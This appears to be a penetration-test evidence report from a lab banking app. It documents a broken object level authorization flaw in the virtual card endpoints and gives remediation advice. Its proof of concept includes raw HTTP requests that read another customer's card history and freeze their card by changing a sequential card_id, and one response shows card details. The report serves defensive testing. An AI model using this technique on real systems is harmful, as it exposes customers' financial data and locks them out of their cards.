Test case 06 / 26FAIL

Broken Object Level Authorization - Virtual Cards - Card Operations

Lab environment — not a production system

Screenshots and raw traffic are not translated; text within them may be in another language.

vuln-bank/Evidence/[FAIL] Broken Object Level Authorization - Virtual Cards - Card Operations

01 — Notes

Test notes

Vulnerability

[FAIL] Broken Object Level Authorization - Virtual Cards - Card Operations

Description

The virtual card endpoints accept card_id from the URL path and operate on it without verifying that the card belongs to the token holder. Card identifiers are sequential integers and therefore easy to enumerate.

Impact

Confidentiality + Integrity (High): any authenticated user can read another customer's virtual card transaction history and change its status. In testing, the attacker froze the victim's card, which is a denial of service against the victim's payment instrument. Similar endpoints in the same module also allow changing limits and topping up funds.

CWE

CWE-639: Authorization Bypass Through User-Controlled Key

OWASP

A01:2021 - Broken Access Control

Scenario

Normal: the attacker accesses their own card transaction history -> succeeds. Exploitation: the attacker changes card_id to the victim's -> HTTP 200, the victim's card history is readable. Impact: the attacker calls toggle-freeze on the victim's card -> the victim's card is successfully frozen and the is_frozen true status is visible from the victim's session.

Endpoint

GET http://127.0.0.1:5001/api/virtual-cards/<card_id>/transactions POST http://127.0.0.1:5001/api/virtual-cards/<card_id>/toggle-freeze

Affected feature

Virtual cards (transaction history, card freeze, limits, top-up)

Remediation

- Verify object ownership on every request: match card_id with the user_id from the token before reading or modifying. - Apply centralized authorization checks across all card endpoints, not per handler. - Use random UUIDs as card identifiers so they cannot be enumerated. - Log and monitor cross-object access attempts.

Proof of concept

1) (Screenshot 1) NORMAL: the attacker reads their own card history -> succeeds. 2) (Screenshot 2) EXPLOITATION: the attacker reads the victim's card history -> HTTP 200, the victim's data is exposed. 3) (Screenshot 3) EXPLOITATION: the attacker freezes the victim's card -> Card frozen successfully. 4) (Screenshot 4) CIA IMPACT: from the victim's session, their card appears as is_frozen true due to the attacker's action.
View source note (English)
Vulnerability:
[FAIL] Broken Object Level Authorization - Virtual Cards - Card Operations

Description:
The virtual card endpoints accept card_id from the URL path and operate on it without verifying that the card belongs to the token holder. Card identifiers are sequential integers and therefore easy to enumerate.

Impact:
Confidentiality + Integrity (High): any authenticated user can read another customer's virtual card transaction history and change its status. In testing, the attacker froze the victim's card, which is a denial of service against the victim's payment instrument. Similar endpoints in the same module also allow changing limits and topping up funds.

CWE:
CWE-639: Authorization Bypass Through User-Controlled Key

OWASP:
A01:2021 - Broken Access Control

Scenario:
Normal: the attacker accesses their own card transaction history -> succeeds. Exploitation: the attacker changes card_id to the victim's -> HTTP 200, the victim's card history is readable. Impact: the attacker calls toggle-freeze on the victim's card -> the victim's card is successfully frozen and the is_frozen true status is visible from the victim's session.

Endpoint:
GET  http://127.0.0.1:5001/api/virtual-cards/<card_id>/transactions
POST http://127.0.0.1:5001/api/virtual-cards/<card_id>/toggle-freeze

Affected Feature:
Virtual cards (transaction history, card freeze, limits, top-up)

Remediation:
- Verify object ownership on every request: match card_id with the user_id from the token before reading or modifying.
- Apply centralized authorization checks across all card endpoints, not per handler.
- Use random UUIDs as card identifiers so they cannot be enumerated.
- Log and monitor cross-object access attempts.

POC:
1) (Screenshot 1) NORMAL: the attacker reads their own card history -> succeeds.
2) (Screenshot 2) EXPLOITATION: the attacker reads the victim's card history -> HTTP 200, the victim's data is exposed.
3) (Screenshot 3) EXPLOITATION: the attacker freezes the victim's card -> Card frozen successfully.
4) (Screenshot 4) CIA IMPACT: from the victim's session, their card appears as is_frozen true due to the attacker's action.

02 — Screenshots

Screenshots (4)

01 / 1
02 / 2
03 / 3
04 / 4

03 — Requests and responses

HTTP captures

Some credential values are masked in this public HTML view. This does not mean every sensitive value or linked file has been redacted.

CAPTURE 01 / 1
HTTP request
GET /api/virtual-cards/2/transactions HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]

HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 49
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:06 GMT

{
  "status": "success",
  "transactions": []
}
CAPTURE 02 / 2
HTTP request
GET /api/virtual-cards/3/transactions HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]

HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 49
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:07 GMT

{
  "status": "success",
  "transactions": []
}
CAPTURE 03 / 3
HTTP request
POST /api/virtual-cards/3/toggle-freeze HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Length: 0

HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 68
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:08 GMT

{
  "message": "Card frozen successfully",
  "status": "success"
}
CAPTURE 04 / 4
HTTP request
GET /api/virtual-cards HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]

HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 433
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:09 GMT

{
  "cards": [
    {
      "balance": 0.0,
      "card_number": "3706522538531775",
      "card_type": "standard",
      "created_at": "2026-09-30 03:02:06.091644",
      "currency": "USD",
      "currency_symbol": "$",
      "cvv": "948",
      "expiry_date": "09/27",
      "id": 3,
      "is_active": true,
      "is_frozen": true,
      "last_used_at": null,
      "limit": 1000.0
    }
  ],
  "status": "success"
}